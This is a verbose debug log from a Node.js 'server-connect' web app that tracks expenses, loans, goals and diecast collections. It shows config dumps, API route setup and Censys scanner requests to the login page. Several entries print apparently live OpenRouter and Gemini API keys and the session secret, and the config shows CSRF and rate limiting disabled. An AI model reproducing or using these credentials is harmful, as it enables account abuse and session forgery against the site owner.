    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '199.45.155.100',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-26T04:44:41.940Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '199.45.155.100',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '199.45.155.100',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-25T05:28:32.565Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-25T05:28:32.732Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-25T05:28:32.820Z server-connect:setup:upload Upload middleware configured.
2026-04-25T05:28:32.820Z server-connect:secure CSRF Protection initialized
2026-04-25T05:28:32.822Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-25T05:28:32.824Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-25T05:28:32.824Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-25T05:28:32.825Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-25T05:28:32.826Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-25T05:28:32.826Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-25T05:28:32.854Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-25T05:28:32.858Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-25T05:28:32.859Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-25T05:28:32.859Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-25T05:28:32.860Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-25T05:28:32.860Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-25T05:28:32.860Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-25T05:28:32.861Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-25T05:28:32.861Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-25T05:28:32.861Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-25T05:28:32.862Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-25T05:28:32.862Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-25T05:28:32.862Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-25T05:28:32.863Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-25T05:28:32.863Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-25T05:28:32.864Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-25T05:28:32.864Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-25T05:28:32.864Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-25T05:28:32.864Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-25T05:28:32.865Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-25T05:28:32.865Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-25T05:28:32.865Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-25T05:28:32.865Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-25T05:28:32.866Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-25T05:28:32.866Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-25T05:28:32.866Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-25T05:28:32.866Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-25T05:28:32.866Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-25T05:28:32.867Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-25T05:28:32.867Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-25T05:28:32.867Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-25T05:28:32.867Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T05:28:32.930Z server-connect:router Serving templateView /
2026-04-25T05:28:32.932Z server-connect:app Executing action step identify
2026-04-25T05:28:32.932Z server-connect:app options: { provider: 'security' }
2026-04-25T05:28:32.934Z server-connect:auth No login cookie found
2026-04-25T05:28:32.934Z server-connect:output identity: false
2026-04-25T05:28:32.934Z server-connect:app Executing action step restrict
2026-04-25T05:28:32.934Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-25T05:28:32.937Z server-connect:output restrict: undefined
2026-04-25T05:28:41.668Z server-connect:router Serving templateView /login
2026-04-25T05:28:41.668Z server-connect:app Executing action step identify
2026-04-25T05:28:41.668Z server-connect:app options: { provider: 'security' }
2026-04-25T05:28:41.668Z server-connect:auth No login cookie found
2026-04-25T05:28:41.668Z server-connect:output identity: false
2026-04-25T05:28:41.669Z server-connect:router Render template layouts/authentication
2026-04-25T05:28:41.669Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2602:80d:1008::39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-26T05:28:41.666Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2602:80d:1008::39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2602:80d:1008::39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-25T11:03:51.133Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-25T11:03:53.405Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-25T11:03:54.268Z server-connect:setup:upload Upload middleware configured.
2026-04-25T11:03:54.268Z server-connect:secure CSRF Protection initialized
2026-04-25T11:03:54.274Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-25T11:03:54.277Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-25T11:03:54.277Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-25T11:03:54.279Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-25T11:03:54.285Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-25T11:03:54.291Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-25T11:03:54.304Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-25T11:03:54.316Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-25T11:03:54.320Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-25T11:03:54.323Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-25T11:03:54.324Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-25T11:03:54.329Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-25T11:03:54.334Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-25T11:03:54.343Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-25T11:03:54.348Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-25T11:03:54.421Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-25T11:03:54.421Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-25T11:03:54.426Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-25T11:03:54.431Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-25T11:03:54.435Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-25T11:03:54.437Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-25T11:03:54.446Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-25T11:03:54.448Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-25T11:03:54.453Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-25T11:03:54.456Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-25T11:03:54.461Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-25T11:03:54.461Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-25T11:03:54.465Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-25T11:03:54.468Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-25T11:03:54.470Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-25T11:03:54.473Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-25T11:03:54.473Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-25T11:03:54.479Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-25T11:03:54.479Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-25T11:03:54.486Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-25T11:03:54.492Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-25T11:03:54.494Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-25T11:03:54.504Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-25T11:03:54.999Z server-connect:router Serving templateView /
2026-04-25T11:03:55.003Z server-connect:app Executing action step identify
2026-04-25T11:03:55.003Z server-connect:app options: { provider: 'security' }
2026-04-25T11:03:55.006Z server-connect:auth No login cookie found
2026-04-25T11:03:55.006Z server-connect:output identity: false
2026-04-25T11:03:55.006Z server-connect:app Executing action step restrict
2026-04-25T11:03:55.006Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-25T11:03:55.010Z server-connect:output restrict: undefined
2026-04-25T11:03:57.587Z server-connect:router Serving templateView /login
2026-04-25T11:03:57.593Z server-connect:app Executing action step identify
2026-04-25T11:03:57.593Z server-connect:app options: { provider: 'security' }
2026-04-25T11:03:57.593Z server-connect:auth No login cookie found
2026-04-25T11:03:57.593Z server-connect:output identity: false
2026-04-25T11:03:57.593Z server-connect:router Render template layouts/authentication
2026-04-25T11:03:57.594Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '66.132.172.191',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-26T11:03:57.585Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '66.132.172.191',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '66.132.172.191',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-26T04:36:50.286Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-26T04:36:54.826Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-26T04:36:56.436Z server-connect:setup:upload Upload middleware configured.
2026-04-26T04:36:56.436Z server-connect:secure CSRF Protection initialized
2026-04-26T04:36:56.449Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-26T04:36:56.454Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-26T04:36:56.458Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-26T04:36:56.466Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-26T04:36:56.477Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-26T04:36:56.482Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-26T04:36:56.500Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-26T04:36:56.517Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-26T04:36:56.547Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-26T04:36:56.550Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-26T04:36:56.560Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-26T04:36:56.568Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-26T04:36:56.576Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-26T04:36:56.588Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-26T04:36:56.596Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-26T04:36:56.676Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-26T04:36:56.680Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-26T04:36:56.689Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-26T04:36:56.706Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-26T04:36:56.712Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-26T04:36:56.717Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-26T04:36:56.736Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-26T04:36:56.739Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-26T04:36:56.748Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-26T04:36:56.752Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-26T04:36:56.758Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-26T04:36:56.762Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-26T04:36:56.766Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-26T04:36:56.783Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-26T04:36:56.787Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-26T04:36:56.791Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-26T04:36:56.795Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-26T04:36:56.815Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-26T04:36:56.820Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-26T04:36:56.828Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-26T04:36:56.834Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-26T04:36:56.840Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-26T04:36:56.866Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-26T13:22:54.846Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-26T13:22:57.116Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-26T13:22:57.980Z server-connect:setup:upload Upload middleware configured.
2026-04-26T13:22:57.980Z server-connect:secure CSRF Protection initialized
2026-04-26T13:22:57.987Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-26T13:22:57.989Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-26T13:22:57.990Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-26T13:22:57.991Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-26T13:22:57.998Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-26T13:22:58.004Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-26T13:22:58.014Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-26T13:22:58.028Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-26T13:22:58.033Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-26T13:22:58.033Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-26T13:22:58.037Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-26T13:22:58.040Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-26T13:22:58.046Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-26T13:22:58.056Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-26T13:22:58.060Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-26T13:22:58.132Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-26T13:22:58.134Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-26T13:22:58.138Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-26T13:22:58.144Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-26T13:22:58.150Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-26T13:22:58.152Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-26T13:22:58.159Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-26T13:22:58.161Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-26T13:22:58.167Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-26T13:22:58.170Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-26T13:22:58.174Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-26T13:22:58.174Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-26T13:22:58.178Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-26T13:22:58.182Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-26T13:22:58.186Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-26T13:22:58.186Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-26T13:22:58.188Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-26T13:22:58.192Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-26T13:22:58.195Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-26T13:22:58.202Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-26T13:22:58.204Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-26T13:22:58.207Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-26T13:22:58.216Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-26T13:22:58.705Z server-connect:router Serving templateView /
2026-04-26T13:22:58.707Z server-connect:app Executing action step identify
2026-04-26T13:22:58.707Z server-connect:app options: { provider: 'security' }
2026-04-26T13:22:58.709Z server-connect:auth No login cookie found
2026-04-26T13:22:58.709Z server-connect:output identity: false
2026-04-26T13:22:58.710Z server-connect:app Executing action step restrict
2026-04-26T13:22:58.710Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-26T13:22:58.714Z server-connect:output restrict: undefined
2026-04-27T03:41:47.710Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
